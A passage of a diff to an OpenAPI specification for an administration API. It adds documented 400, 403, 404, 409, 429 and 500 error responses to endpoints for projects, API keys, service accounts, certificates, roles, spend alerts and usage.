+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10841,6 +12668,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Project'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10893,6 +12738,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -10953,6 +12816,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectApiKeyListResponse'
+ '400':
+ description: The listing parameters are invalid or the project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11018,6 +12905,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectApiKey'
+ '400':
+ description: The project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11084,6 +12995,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11121,6 +13050,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Project'
+ '400':
+ description: The project is already archived or is the default project and cannot be archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11186,6 +13139,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListProjectCertificatesResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11248,8 +13213,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationProjectCertificateActivationResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The certificate update could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11319,8 +13308,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationProjectCertificateDeactivationResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A certificate was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The certificate update could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11383,6 +13396,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectDataRetention'
+ '400':
+ description: The project ID is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The organization or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11425,6 +13456,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectDataRetention'
+ '400':
+ description: The requested data retention setting or transition is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The organization or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11489,6 +13538,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroupListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11543,8 +13610,32 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroup'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The group operation could not be completed because of a server error.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11604,6 +13695,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroup'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11651,6 +13760,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectGroupDeletedResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested group, user, or project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -11689,6 +13816,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectHostedToolPermissions'
+ '400':
+ description: The project ID is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11744,6 +13895,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectHostedToolPermissions'
+ '400':
+ description: The hosted tool permission request is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The requested project setting conflicts with the organization policy.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11801,6 +13982,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectModelPermissions'
+ '400':
+ description: The project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or model permission settings were not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11847,6 +14052,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectModelPermissions'
+ '400':
+ description: The model permission request is invalid or the project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11891,6 +14120,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectModelPermissionsDeleteResponse'
+ '400':
+ description: The project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or model permission settings were not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -11949,6 +14202,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectRateLimitListResponse'
+ '400':
+ description: The rate limit listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or pagination cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12021,6 +14292,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12090,6 +14373,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12149,6 +14450,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12204,6 +14523,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectServiceAccount'
+ '400':
+ description: The project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or service account was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12255,6 +14598,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectServiceAccount'
+ '400':
+ description: The service account update is invalid or the project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or service account was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12402,6 +14769,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlertListResource'
+ '400':
+ description: The spend alert listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or spend alert pagination cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12460,6 +14845,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
+ '400':
+ description: The spend alert request is invalid or conflicts with the hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12520,6 +14923,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
+ '400':
+ description: The project ID is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or spend alert was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12576,6 +14997,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
+ '400':
+ description: The spend alert update is invalid or conflicts with the hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or spend alert was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12635,6 +15074,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectSpendAlertDeletedResource'
+ '400':
+ description: The project ID is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or spend alert was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12693,6 +15150,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12829,6 +15304,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ProjectUser'
+ '400':
+ description: The project is archived.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The project or user was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12887,6 +15386,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -12945,6 +15462,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: A requested project, user, service account, or API key was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13001,6 +15536,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/PublicRoleListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13053,6 +15606,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13107,6 +15678,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13159,6 +15742,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13212,6 +15813,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleDeletedResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13275,6 +15894,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlertListResource'
+ '400':
+ description: The spend alert listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The spend alert specified by the after cursor was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13326,6 +15963,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
+ '400':
+ description: The spend alert request is invalid or conflicts with the hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13380,6 +16029,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The spend alert was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13430,6 +16091,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
+ '400':
+ description: The spend alert update is invalid or conflicts with the hard spend limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The spend alert was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13483,6 +16162,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/OrganizationSpendAlertDeletedResource'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The spend alert was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -13597,6 +16288,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13731,6 +16434,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13838,6 +16553,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -13977,6 +16704,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14126,6 +16865,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14260,6 +17011,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
